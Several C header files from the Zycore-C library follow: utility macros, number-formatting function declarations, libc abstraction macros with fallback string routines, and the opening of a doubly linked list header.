* @param format_index The 1-based index of the format string parameter.
* @param first_to_check The 1-based index of the format arguments parameter.
*/
#if defined(__RESHARPER__)
# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \
[[gnu::format(printf, format_index, first_to_check)]]
#elif defined(ZYAN_GCC)
# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \
__attribute__((format(printf, format_index, first_to_check)))
#else
# define ZYAN_PRINTF_ATTR(format_index, first_to_check)
#endif
/**
* Decorator for `wprintf`-style functions.
*
* @param format_index The 1-based index of the format string parameter.
* @param first_to_check The 1-based index of the format arguments parameter.
*/
#if defined(__RESHARPER__)
# define ZYAN_WPRINTF_ATTR(format_index, first_to_check) \
[[rscpp::format(wprintf, format_index, first_to_check)]]
#else
# define ZYAN_WPRINTF_ATTR(format_index, first_to_check)
#endif
/* ---------------------------------------------------------------------------------------------- */
/* Arrays */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the length (number of elements) of an array.
*
* @param a The name of the array.
*
* @return The number of elements of the given array.
*/
#define ZYAN_ARRAY_LENGTH(a) (sizeof(a) / sizeof((a)[0]))
/* ---------------------------------------------------------------------------------------------- */
/* Arithmetic */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the smaller value of `a` or `b`.
*
* @param a The first value.
* @param b The second value.
*
* @return The smaller value of `a` or `b`.
*/
#define ZYAN_MIN(a, b) (((a) < (b)) ? (a) : (b))
/**
* Returns the bigger value of `a` or `b`.
*
* @param a The first value.
* @param b The second value.
*
* @return The bigger value of `a` or `b`.
*/
#define ZYAN_MAX(a, b) (((a) > (b)) ? (a) : (b))
/**
* Returns the absolute value of `a`.
*
* @param a The value.
*
* @return The absolute value of `a`.
*/
#define ZYAN_ABS(a) (((a) < 0) ? -(a) : (a))
/**
* Checks, if the given value is a power of 2.
*
* @param x The value.
*
* @return `ZYAN_TRUE`, if the given value is a power of 2 or `ZYAN_FALSE`, if not.
*
* Note that this macro always returns `ZYAN_TRUE` for `x == 0`.
*/
#define ZYAN_IS_POWER_OF_2(x) (((x) & ((x) - 1)) == 0)
/**
* Checks, if the given value is properly aligned.
*
* Note that this macro only works for powers of 2.
*/
#define ZYAN_IS_ALIGNED_TO(x, align) (((x) & ((align) - 1)) == 0)
/**
* Aligns the value to the nearest given alignment boundary (by rounding it up).
*
* @param x The value.
* @param align The desired alignment.
*
* @return The aligned value.
*
* Note that this macro only works for powers of 2.
*/
#define ZYAN_ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1))
/**
* Aligns the value to the nearest given alignment boundary (by rounding it down).
*
* @param x The value.
* @param align The desired alignment.
*
* @return The aligned value.
*
* Note that this macro only works for powers of 2.
*/
#define ZYAN_ALIGN_DOWN(x, align) (((x) - 1) & ~((align) - 1))
/* ---------------------------------------------------------------------------------------------- */
/* Bit operations */
/* ---------------------------------------------------------------------------------------------- */
/*
* Checks, if the bit at index `b` is required to present the ordinal value `n`.
*
* @param n The ordinal value.
* @param b The bit index.
*
* @return `ZYAN_TRUE`, if the bit at index `b` is required to present the ordinal value `n` or
* `ZYAN_FALSE`, if not.
*
* Note that this macro always returns `ZYAN_FALSE` for `n == 0`.
*/
#define ZYAN_NEEDS_BIT(n, b) (((unsigned long)(n) >> (b)) > 0)
/*
* Returns the number of bits required to represent the ordinal value `n`.
*
* @param n The ordinal value.
*
* @return The number of bits required to represent the ordinal value `n`.
*
* Note that this macro returns `0` for `n == 0`.
*/
#define ZYAN_BITS_TO_REPRESENT(n) \
( \
ZYAN_NEEDS_BIT(n, 0) + ZYAN_NEEDS_BIT(n, 1) + \
ZYAN_NEEDS_BIT(n, 2) + ZYAN_NEEDS_BIT(n, 3) + \
ZYAN_NEEDS_BIT(n, 4) + ZYAN_NEEDS_BIT(n, 5) + \
ZYAN_NEEDS_BIT(n, 6) + ZYAN_NEEDS_BIT(n, 7) + \
ZYAN_NEEDS_BIT(n, 8) + ZYAN_NEEDS_BIT(n, 9) + \
ZYAN_NEEDS_BIT(n, 10) + ZYAN_NEEDS_BIT(n, 11) + \
ZYAN_NEEDS_BIT(n, 12) + ZYAN_NEEDS_BIT(n, 13) + \
ZYAN_NEEDS_BIT(n, 14) + ZYAN_NEEDS_BIT(n, 15) + \
ZYAN_NEEDS_BIT(n, 16) + ZYAN_NEEDS_BIT(n, 17) + \
ZYAN_NEEDS_BIT(n, 18) + ZYAN_NEEDS_BIT(n, 19) + \
ZYAN_NEEDS_BIT(n, 20) + ZYAN_NEEDS_BIT(n, 21) + \
ZYAN_NEEDS_BIT(n, 22) + ZYAN_NEEDS_BIT(n, 23) + \
ZYAN_NEEDS_BIT(n, 24) + ZYAN_NEEDS_BIT(n, 25) + \
ZYAN_NEEDS_BIT(n, 26) + ZYAN_NEEDS_BIT(n, 27) + \
ZYAN_NEEDS_BIT(n, 28) + ZYAN_NEEDS_BIT(n, 29) + \
ZYAN_NEEDS_BIT(n, 30) + ZYAN_NEEDS_BIT(n, 31) \
)
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#endif /* ZYCORE_DEFINES_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Provides helper functions for performant number to string conversion.
*/
#ifndef ZYCORE_FORMAT_H
#define ZYCORE_FORMAT_H
#include <ZycoreExportConfig.h>
#include <Zycore/Status.h>
#include <Zycore/String.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Helpers */
/* ---------------------------------------------------------------------------------------------- */
/**
* Get the absolute value of a 64 bit int.
*
* @param x The value to process.
* @return The absolute, unsigned value.
*
* This gracefully deals with the special case of `x` being `INT_MAX`.
*/
ZYAN_INLINE ZyanU64 ZyanAbsI64(ZyanI64 x)
{
// INT_MIN special case. Can't use the value directly because GCC thinks
// it's too big for an INT64 literal, however is perfectly happy to accept
// this expression. This is also hit INT64_MIN is defined in `stdint.h`.
if (x == (-0x7fffffffffffffff - 1))
{
return 0x8000000000000000u;
}
return (ZyanU64)(x < 0 ? -x : x);
}
/* ---------------------------------------------------------------------------------------------- */
/* Insertion */
/* ---------------------------------------------------------------------------------------------- */
/**
* Inserts formatted text in the destination string at the given `index`.
*
* @param string The destination string.
* @param index The insert index.
* @param format The format string.
* @param ... The format arguments.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYAN_PRINTF_ATTR(3, 4)
ZYCORE_EXPORT ZyanStatus ZyanStringInsertFormat(ZyanString* string, ZyanUSize index,
const char* format, ...);
/* ---------------------------------------------------------------------------------------------- */
/**
* Formats the given unsigned ordinal `value` to its decimal text-representation and
* inserts it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param index The insert index.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecU(ZyanString* string, ZyanUSize index, ZyanU64 value,
ZyanU8 padding_length);
/**
* Formats the given signed ordinal `value` to its decimal text-representation and
* inserts it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param index The insert index.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers.
* @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecS(ZyanString* string, ZyanUSize index, ZyanI64 value,
ZyanU8 padding_length, ZyanBool force_sign, const ZyanString* prefix);
/**
* Formats the given unsigned ordinal `value` to its hexadecimal text-representation and
* inserts it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param index The insert index.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase
* ones ('a'-'f').
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexU(ZyanString* string, ZyanUSize index, ZyanU64 value,
ZyanU8 padding_length, ZyanBool uppercase);
/**
* Formats the given signed ordinal `value` to its hexadecimal text-representation and
* inserts it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param index The insert index.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase
* ones ('a'-'f').
* @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers.
* @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexS(ZyanString* string, ZyanUSize index, ZyanI64 value,
ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanString* prefix);
/* ---------------------------------------------------------------------------------------------- */
/* Appending */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYAN_NO_LIBC
/**
* Appends formatted text to the destination string.
*
* @param string The destination string.
* @param format The format string.
* @param ... The format arguments.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYAN_PRINTF_ATTR(2, 3)
ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringAppendFormat(
ZyanString* string, const char* format, ...);
#endif // ZYAN_NO_LIBC
/* ---------------------------------------------------------------------------------------------- */
/**
* Formats the given unsigned ordinal `value` to its decimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecU(ZyanString* string, ZyanU64 value,
ZyanU8 padding_length);
/**
* Formats the given signed ordinal `value` to its decimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers.
* @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecS(ZyanString* string, ZyanI64 value,
ZyanU8 padding_length, ZyanBool force_sign, const ZyanStringView* prefix);
/**
* Formats the given unsigned ordinal `value` to its hexadecimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase
* ones ('a'-'f').
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexU(ZyanString* string, ZyanU64 value,
ZyanU8 padding_length, ZyanBool uppercase);
/**
* Formats the given signed ordinal `value` to its hexadecimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase
* ones ('a'-'f').
* @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers.
* @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexS(ZyanString* string, ZyanI64 value,
ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif // ZYCORE_FORMAT_H

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Provides a simple LibC abstraction and fallback routines.
*/
#ifndef ZYCORE_LIBC_H
#define ZYCORE_LIBC_H
#ifndef ZYAN_CUSTOM_LIBC
// Include a custom LibC header and define `ZYAN_CUSTOM_LIBC` to provide your own LibC
// replacement functions
#ifndef ZYAN_NO_LIBC
/* ============================================================================================== */
/* LibC is available */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* errno.h */
/* ---------------------------------------------------------------------------------------------- */
#include <errno.h>
#define ZYAN_ERRNO errno
/* ---------------------------------------------------------------------------------------------- */
/* stdarg.h */
/* ---------------------------------------------------------------------------------------------- */
#include <stdarg.h>
/**
* Defines the `ZyanVAList` datatype.
*/
typedef va_list ZyanVAList;
#define ZYAN_VA_START va_start
#define ZYAN_VA_ARG va_arg
#define ZYAN_VA_END va_end
#define ZYAN_VA_COPY(dest, source) va_copy((dest), (source))
/* ---------------------------------------------------------------------------------------------- */
/* stdio.h */
/* ---------------------------------------------------------------------------------------------- */
#include <stdio.h>
#define ZYAN_FPUTS fputs
#define ZYAN_FPUTC fputc
#define ZYAN_FPRINTF fprintf
#define ZYAN_PRINTF printf
#define ZYAN_PUTC putc
#define ZYAN_PUTS puts
#define ZYAN_SCANF scanf
#define ZYAN_SSCANF sscanf
#define ZYAN_VSNPRINTF vsnprintf
/**
* Defines the `ZyanFile` datatype.
*/
typedef FILE ZyanFile;
#define ZYAN_STDIN stdin
#define ZYAN_STDOUT stdout
#define ZYAN_STDERR stderr
/* ---------------------------------------------------------------------------------------------- */
/* stdlib.h */
/* ---------------------------------------------------------------------------------------------- */
#include <stdlib.h>
#define ZYAN_CALLOC calloc
#define ZYAN_FREE free
#define ZYAN_MALLOC malloc
#define ZYAN_REALLOC realloc
/* ---------------------------------------------------------------------------------------------- */
/* string.h */
/* ---------------------------------------------------------------------------------------------- */
#include <string.h>
#define ZYAN_MEMCHR memchr
#define ZYAN_MEMCMP memcmp
#define ZYAN_MEMCPY memcpy
#define ZYAN_MEMMOVE memmove
#define ZYAN_MEMSET memset
#define ZYAN_STRCAT strcat
#define ZYAN_STRCHR strchr
#define ZYAN_STRCMP strcmp
#define ZYAN_STRCOLL strcoll
#define ZYAN_STRCPY strcpy
#define ZYAN_STRCSPN strcspn
#define ZYAN_STRLEN strlen
#define ZYAN_STRNCAT strncat
#define ZYAN_STRNCMP strncmp
#define ZYAN_STRNCPY strncpy
#define ZYAN_STRPBRK strpbrk
#define ZYAN_STRRCHR strrchr
#define ZYAN_STRSPN strspn
#define ZYAN_STRSTR strstr
#define ZYAN_STRTOK strtok
#define ZYAN_STRXFRM strxfrm
/* ---------------------------------------------------------------------------------------------- */
#else // if ZYAN_NO_LIBC
/* ============================================================================================== */
/* No LibC available, use our own functions */
/* ============================================================================================== */
#include <Zycore/Defines.h>
#include <Zycore/Types.h>
/*
* These implementations are by no means optimized and will be outperformed by pretty much any
* libc implementation out there. We do not aim towards providing competetive implementations here,
* but towards providing a last resort fallback for environments without a working libc.
*/
/* ---------------------------------------------------------------------------------------------- */
/* stdarg.h */
/* ---------------------------------------------------------------------------------------------- */
#if defined(ZYAN_MSVC) || defined(ZYAN_ICC)
/**
* Defines the `ZyanVAList` datatype.
*/
typedef char* ZyanVAList;
# define ZYAN_VA_START __crt_va_start
# define ZYAN_VA_ARG __crt_va_arg
# define ZYAN_VA_END __crt_va_end
# define ZYAN_VA_COPY(destination, source) ((destination) = (source))
#elif defined(ZYAN_GNUC)
/**
* Defines the `ZyanVAList` datatype.
*/
typedef __builtin_va_list ZyanVAList;
# define ZYAN_VA_START(v, l) __builtin_va_start(v, l)
# define ZYAN_VA_END(v) __builtin_va_end(v)
# define ZYAN_VA_ARG(v, l) __builtin_va_arg(v, l)
# define ZYAN_VA_COPY(d, s) __builtin_va_copy(d, s)
#else
# error "Unsupported compiler for no-libc mode."
#endif
/* ---------------------------------------------------------------------------------------------- */
/* stdio.h */
/* ---------------------------------------------------------------------------------------------- */
// ZYAN_INLINE int ZYAN_VSNPRINTF (char* const buffer, ZyanUSize const count,
// char const* const format, ZyanVAList args)
// {
// // We cant provide a fallback implementation for this function
// ZYAN_UNUSED(buffer);
// ZYAN_UNUSED(count);
// ZYAN_UNUSED(format);
// ZYAN_UNUSED(args);
// return ZYAN_NULL;
// }
/* ---------------------------------------------------------------------------------------------- */
/* stdlib.h */
/* ---------------------------------------------------------------------------------------------- */
// ZYAN_INLINE void* ZYAN_CALLOC(ZyanUSize nitems, ZyanUSize size)
// {
// // We cant provide a fallback implementation for this function
// ZYAN_UNUSED(nitems);
// ZYAN_UNUSED(size);
// return ZYAN_NULL;
// }
//
// ZYAN_INLINE void ZYAN_FREE(void *p)
// {
// // We cant provide a fallback implementation for this function
// ZYAN_UNUSED(p);
// }
//
// ZYAN_INLINE void* ZYAN_MALLOC(ZyanUSize n)
// {
// // We cant provide a fallback implementation for this function
// ZYAN_UNUSED(n);
// return ZYAN_NULL;
// }
//
// ZYAN_INLINE void* ZYAN_REALLOC(void* p, ZyanUSize n)
// {
// // We cant provide a fallback implementation for this function
// ZYAN_UNUSED(p);
// ZYAN_UNUSED(n);
// return ZYAN_NULL;
// }
/* ---------------------------------------------------------------------------------------------- */
/* string.h */
/* ---------------------------------------------------------------------------------------------- */
ZYAN_INLINE void* ZYAN_MEMCHR(const void* str, int c, ZyanUSize n)
{
const ZyanU8* p = (ZyanU8*)str;
while (n--)
{
if (*p != (ZyanU8)c)
{
p++;
} else
{
return (void*)p;
}
}
return 0;
}
ZYAN_INLINE int ZYAN_MEMCMP(const void* s1, const void* s2, ZyanUSize n)
{
const ZyanU8* p1 = s1, *p2 = s2;
while (n--)
{
if (*p1 != *p2)
{
return *p1 - *p2;
}
p1++, p2++;
}
return 0;
}
ZYAN_INLINE void* ZYAN_MEMCPY(void* dst, const void* src, ZyanUSize n)
{
volatile ZyanU8* dp = dst;
const ZyanU8* sp = src;
while (n--)
{
*dp++ = *sp++;
}
return dst;
}
ZYAN_INLINE void* ZYAN_MEMMOVE(void* dst, const void* src, ZyanUSize n)
{
volatile ZyanU8* pd = dst;
const ZyanU8* ps = src;
if (ps < pd)
{
for (pd += n, ps += n; n--;)
{
*--pd = *--ps;
}
} else
{
while (n--)
{
*pd++ = *ps++;
}
}
return dst;
}
ZYAN_INLINE void* ZYAN_MEMSET(void* dst, int val, ZyanUSize n)
{
volatile ZyanU8* p = dst;
while (n--)
{
*p++ = (unsigned char)val;
}
return dst;
}
ZYAN_INLINE char* ZYAN_STRCAT(char* dest, const char* src)
{
char* ret = dest;
while (*dest)
{
dest++;
}
while ((*dest++ = *src++));
return ret;
}
ZYAN_INLINE char* ZYAN_STRCHR(const char* s, int c)
{
while (*s != (char)c)
{
if (!*s++)
{
return 0;
}
}
return (char*)s;
}
ZYAN_INLINE int ZYAN_STRCMP(const char* s1, const char* s2)
{
while (*s1 && (*s1 == *s2))
{
s1++, s2++;
}
return *(const ZyanU8*)s1 - *(const ZyanU8*)s2;
}
ZYAN_INLINE int ZYAN_STRCOLL(const char *s1, const char *s2)
{
// TODO: Implement
ZYAN_UNUSED(s1);
ZYAN_UNUSED(s2);
return 0;
}
ZYAN_INLINE char* ZYAN_STRCPY(char* dest, const char* src)
{
char* ret = dest;
while ((*dest++ = *src++));
return ret;
}
ZYAN_INLINE ZyanUSize ZYAN_STRCSPN(const char *s1, const char *s2)
{
ZyanUSize ret = 0;
while (*s1)
{
if (ZYAN_STRCHR(s2, *s1))
{
return ret;
}
s1++, ret++;
}
return ret;
}
ZYAN_INLINE ZyanUSize ZYAN_STRLEN(const char* str)
{
const char* p = str;
while (*str)
{
++str;
}
return str - p;
}
ZYAN_INLINE char* ZYAN_STRNCAT(char* dest, const char* src, ZyanUSize n)
{
char* ret = dest;
while (*dest)
{
dest++;
}
while (n--)
{
if (!(*dest++ = *src++))
{
return ret;
}
}
*dest = 0;
return ret;
}
ZYAN_INLINE int ZYAN_STRNCMP(const char* s1, const char* s2, ZyanUSize n)
{
while (n--)
{
if (*s1++ != *s2++)
{
return *(unsigned char*)(s1 - 1) - *(unsigned char*)(s2 - 1);
}
}
return 0;
}
ZYAN_INLINE char* ZYAN_STRNCPY(char* dest, const char* src, ZyanUSize n)
{
char* ret = dest;
do
{
if (!n--)
{
return ret;
}
} while ((*dest++ = *src++));
while (n--)
{
*dest++ = 0;
}
return ret;
}
ZYAN_INLINE char* ZYAN_STRPBRK(const char* s1, const char* s2)
{
while (*s1)
{
if(ZYAN_STRCHR(s2, *s1++))
{
return (char*)--s1;
}
}
return 0;
}
ZYAN_INLINE char* ZYAN_STRRCHR(const char* s, int c)
{
char* ret = 0;
do
{
if (*s == (char)c)
{
ret = (char*)s;
}
} while (*s++);
return ret;
}
ZYAN_INLINE ZyanUSize ZYAN_STRSPN(const char* s1, const char* s2)
{
ZyanUSize ret = 0;
while (*s1 && ZYAN_STRCHR(s2, *s1++))
{
ret++;
}
return ret;
}
ZYAN_INLINE char* ZYAN_STRSTR(const char* s1, const char* s2)
{
const ZyanUSize n = ZYAN_STRLEN(s2);
while (*s1)
{
if (!ZYAN_MEMCMP(s1++, s2, n))
{
return (char*)(s1 - 1);
}
}
return 0;
}
ZYAN_INLINE char* ZYAN_STRTOK(char* str, const char* delim)
{
static char* p = 0;
if (str)
{
p = str;
} else
if (!p)
{
return 0;
}
str = p + ZYAN_STRSPN(p, delim);
p = str + ZYAN_STRCSPN(str, delim);
if (p == str)
{
return p = 0;
}
p = *p ? *p = 0, p + 1 : 0;
return str;
}
ZYAN_INLINE ZyanUSize ZYAN_STRXFRM(char* dest, const char* src, ZyanUSize n)
{
const ZyanUSize n2 = ZYAN_STRLEN(src);
if (n > n2)
{
ZYAN_STRCPY(dest, src);
}
return n2;
}
/* ---------------------------------------------------------------------------------------------- */
#endif
#endif
/* ============================================================================================== */
#endif /* ZYCORE_LIBC_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Implements a doubly linked list.
*/
#ifndef ZYCORE_LIST_H
#define ZYCORE_LIST_H
#include <ZycoreExportConfig.h>
#include <Zycore/Allocator.h>
#include <Zycore/Object.h>
#include <Zycore/Status.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZyanListNode` struct.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZyanListNode_
{
/**
* A pointer to the previous list node.
*/
struct ZyanListNode_* prev;
/**
* A pointer to the next list node.
*/
struct ZyanListNode_* next;
} ZyanListNode;
/**
* Defines the `ZyanList` struct.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZyanList_
{
/**
* The memory allocator.
*/
ZyanAllocator* allocator;
/**
* The current number of elements in the list.
*/
ZyanUSize size;
/**
* The size of a single element in bytes.
*/
ZyanUSize element_size;
/**
* The element destructor callback.
*/
ZyanMemberProcedure destructor;
/**
* The head node.
*/
ZyanListNode* head;
/**
* The tail node.
*/
ZyanListNode* tail;
/**
* The data buffer.
*
* Only used for instances created by `ZyanListInitCustomBuffer`.
*/
void* buffer;
/**
* The data buffer capacity (number of bytes).
*
* Only used for instances created by `ZyanListInitCustomBuffer`.
*/
ZyanUSize capacity;
/**
* The first unused node.
*
* When removing a node, the first-unused value is updated to point at the removed node and the
* next node of the removed node will be updated to point at the old first-unused node.
*
* When appending the memory of the first unused-node is recycled to store the new node. The
* value of the first-unused node is then updated to point at the reused nodes next node.
*
* If the first-unused value is `ZYAN_NULL`, any new node will be "allocated" behind the tail
* node (if there is enough space left in the fixed size buffer).
*
* Only used for instances created by `ZyanListInitCustomBuffer`.
*/
ZyanListNode* first_unused;
} ZyanList;
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines an uninitialized `ZyanList` instance.
*/
#define ZYAN_LIST_INITIALIZER \
{ \
/* allocator */ ZYAN_NULL, \
/* size */ 0, \
/* element_size */ 0, \
/* head */ ZYAN_NULL, \
/* destructor */ ZYAN_NULL, \
/* tail */ ZYAN_NULL, \
/* buffer */ ZYAN_NULL, \
/* capacity */ 0, \
/* first_unused */ ZYAN_NULL \
}
/* ---------------------------------------------------------------------------------------------- */
/* Helper macros */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the data value of the given `node`.
*
* @param type The desired value type.
* @param node A pointer to the `ZyanListNode` struct.
*
* @result The data value of the given `node`.
*
* Note that this function is unsafe and might dereference a null-pointer.
*/
#ifdef __cplusplus
#define ZYAN_LIST_GET(type, node) \
(*reinterpret_cast<const type*>(ZyanListGetNodeData(node)))
#else
#define ZYAN_LIST_GET(type, node) \
(*(const type*)ZyanListGetNodeData(node))
#endif
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Constructor and destructor */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYAN_NO_LIBC
/**
* Initializes the given `ZyanList` instance.
*
* @param list A pointer to the `ZyanList` instance.
* @param element_size The size of a single element in bytes.
* @param destructor A destructor callback that is invoked every time an item is deleted, or
* `ZYAN_NULL` if not needed.
*
* @return A zyan status code.
*
* The memory for the list elements is dynamically allocated by the default allocator.
*
* Finalization with `ZyanListDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListInit(ZyanList* list, ZyanUSize element_size,
ZyanMemberProcedure destructor);
